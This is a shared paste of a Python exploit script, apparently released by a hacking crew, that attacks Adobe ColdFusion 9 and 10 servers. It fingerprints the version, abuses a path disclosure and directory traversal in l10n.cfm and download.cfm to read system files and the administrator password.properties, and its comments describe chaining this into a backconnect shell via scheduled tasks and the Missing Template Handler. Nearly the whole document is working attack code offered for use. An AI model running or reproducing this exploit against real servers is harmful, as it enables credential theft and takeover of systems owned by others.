Coldfusion Password grabber exploit


SUBMITTED BY: Guest

DATE: Jan. 8, 2014, 2:43 a.m.

FORMAT: Python

SIZE: 10.9 kB

HITS: 853

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. intro="""
  4. _ _ _______ _____ _ _ _______ Cold ,''' Fusion
  5. |_____| | |_____] \ / |______ Cold ,''' /-- Fusion
  6. | | | | \/ ______|. Cold -,__,' Fusion
  7. Name : ColdSub-Zero.pyFusion v2
  8. Description : CF9-10 Remote Root Zeroday
  9. Crew : HTP
  10. """
  11. cyan = "\x1b[1;36m"
  12. red = "\x1b[1;31m"
  13. clear = "\x1b[0m"
  14. print intro.replace("Cold",cyan).replace("Fusion",clear)
  15. import requests, time, sys, urllib, hashlib
  16. def flash(color,text,times):
  17. sys.stdout.write(text)
  18. line1 = "\x0d\x1b[2K%s%s" % (color,text)
  19. line2 = "\x0d\x1b[2K%s%s" % (clear,text)
  20. for x in range(0,times):
  21. sys.stdout.write(line1)
  22. sys.stdout.flush()
  23. time.sleep(.2)
  24. sys.stdout.write(line2)
  25. sys.stdout.flush()
  26. time.sleep(.2)
  27. print line2
  28. abspath = ""
  29. operatingsystem = "refrigerator"
  30. coldfusion = 0
  31. def fingerprintcf(protocol,target):
  32. # Fingerprint using md5's of CF 9/10 admin image
  33. print "[*] Fingerprinting CF 9/10 instance"
  34. imgdata = requests.get("%s://%s/CFIDE/administrator/images/loginbackground.jpg" % (protocol,target)).content
  35. md5fingerprint = hashlib.md5(imgdata).hexdigest()
  36. if md5fingerprint == "a4c81b7a6289b2fc9b36848fa0cae83c":
  37. print "[*] Detected ColdFusion 10"
  38. return 10
  39. elif md5fingerprint == "596b3fc4f1a0b818979db1cf94a82220":
  40. print "[*] Detected ColdFusion 9"
  41. return 9
  42. elif md5fingerprint == "779efc149954677095446c167344dbfc":
  43. # ColdFusion 8 doesn't have mail.cfm, but it is still exploitable due to l10n parsing the template as CFM.
  44. # It would require shell data to be on the box to include, such as an uploaded 'picture' or what-not.
  45. print "[*] Requires inclusion: m4ke your 0wn fuq1ng z3r0d4y!"
  46. sys.exit(0)
  47. else:
  48. print "[*] Unable to fingerprint, continuing with little environment data"
  49. return None
  50. def getpath(protocol,target):
  51. # Leverage a path disclosure to get the absolute path on CF9-10
  52. print "[*] Testing for path disclosure"
  53. abspathdata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).headers
  54. if "set-cookie" in abspathdata.keys():
  55. try:
  56. abspath = urllib.unquote(abspathdata['set-cookie'].split('ANALYZER_DIRECTORY=')[1].split(';')[0])
  57. print "[*] Absolute path obtained: %s" % abspath
  58. if abspath[0] == "/":
  59. print "[*] Detected Linux"
  60. operatingsystem = "linux"
  61. elif abspath[1] == ":":
  62. print "[*] Detected Windows"
  63. operatingsystem = "windows 95 with bonzibuddy"
  64. else:
  65. print "[?] t4rg3t 4pp34r5 t0 b3 runn1n9 0n 4 r3fr1g3r4t0r"
  66. operatingsystem = "refrigerator"
  67. except:
  68. print "[?] OS detection failure. Continuing with fingerprint."
  69. else:
  70. print "[?] OS detection failure. Continuing with fingerprint."
  71. return abspath,operatingsystem
  72. # HTP '13
  73. # Congratulations, you're reading the source.
  74. #
  75. # Subzero v2 is a do-it-yourself Subzero v1. Some details have been provided throughout the source hinting at the potential usage.
  76. # As far as changes, the Null RDS 1day has been removed, as well as the locale + FCKEditor exploitation checks & auth bypass + shell drop.
  77. # If you know what you are doing, this 0day can be used in conjunction with the other 0days to exploit ColdFusion 6-10. (aka everything).
  78. #
  79. # ColdFusion 6 can be taken out with the locale 0day, and XORing password.properties against the stored private key will yield the actual
  80. # login password.
  81. #
  82. # Since you're reading the source, we'll give you another 0day to improve Subzero. Once Subzero has extracted the hash, use scheduled tasks
  83. # to store your backconnect shell in a temp directory (such as the CF temp directory/windows TEMP dir or /dev/shm). Then, use Server Settings
  84. # > Settings in the CF admin to load it as the Missing Template Handler (you can travel upwards from the 'relative path' using ../). Finally,
  85. # trigger a 404 to recieve your backconnect, and restore the Missing Template Handler. We might release fUZE Shell v2 in the future for POCs
  86. # of this written in CFML.
  87. #
  88. # For anyone looking to fully weaponize Subzero into direct RXE for ColdFusion 10, we'll give you a hint. Subzero is a LFI, not a LFD.
  89. # (preinstalled *.cfm) :P
  90. target = raw_input("Target> ")
  91. if "https" in target:
  92. protocol = "https"
  93. target = target.replace("http://","").replace("https://","").split("/")[0]
  94. print "[*] Target set to: %s" % target
  95. print "[*] HTTPS: Enabled"
  96. else:
  97. protocol = "http"
  98. target = target.replace("http://","").replace("https://","").split("/")[0]
  99. print "[*] Target set to: %s" % target
  100. abspath,operatingsystem = getpath(protocol,target)
  101. coldfusion = fingerprintcf(protocol,target)
  102. print "[*] Collecting additional data about operating system"
  103. etchosts = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/hosts&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content
  104. bootini = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../boot.ini&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content
  105. if "hosts" in etchosts or "127.0.0.1" in etchosts:
  106. operatingsystem = "linux"
  107. elif "[boot loader]" in bootini or "[operating systems]" in bootini:
  108. operatingsystem = "windows 95 with bonzibuddy"
  109. elif operatingsystem is "linux" or "windows 95 with bonzibuddy":
  110. pass
  111. else:
  112. operatingsystem = "refrigerator"
  113. if operatingsystem is "refrigerator":
  114. print "[*] go0d 1uq!!"
  115. print "[*] Obtaining credentials"
  116. tests = ["../../lib/password.properties","..\..\lib\password.properties"]
  117. if operatingsystem is "windows 95 with bonzibuddy":
  118. if coldfusion == 10:
  119. tests += ["..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
  120. "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
  121. "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
  122. elif coldfusion == 9:
  123. tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
  124. "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
  125. "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
  126. else:
  127. tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
  128. "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
  129. "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
  130. "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
  131. "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
  132. elif operatingsystem is "linux":
  133. if coldfusion == 10:
  134. tests += ["../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
  135. "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
  136. elif coldfusion == 9:
  137. tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
  138. "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
  139. else:
  140. tests += ["../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
  141. "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
  142. "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
  143. elif operatingsystem is "refrigerator":
  144. # w3lp l00ks l1k3 w3 g0tt4 5h0tguN th1s sh1t
  145. tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
  146. "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
  147. "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
  148. "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
  149. "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties",
  150. "../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties",
  151. "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
  152. "../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties"]
  153. for path in tests:
  154. lfidata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=%s&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target,path)).content
  155. if "encrypted=true" in lfidata:
  156. credzacquired = True
  157. print "[*] CF Administrator credentials acquired:"
  158. print lfidata
  159. else:
  160. pass
  161. if credzacquired == True:
  162. flash(cyan,"[~] SUB ZERO WINS",3)
  163. time.sleep(.5)
  164. flash(red,"[!] FLAWLESS VICTORY",3)
  165. time.sleep(.5)
  166. else:
  167. flash(red,"[!] COLDFUSION ADMIN WINS",3)
  168. time.sleep(.5)
  169. # e0f HTP '13

comments powered by Disqus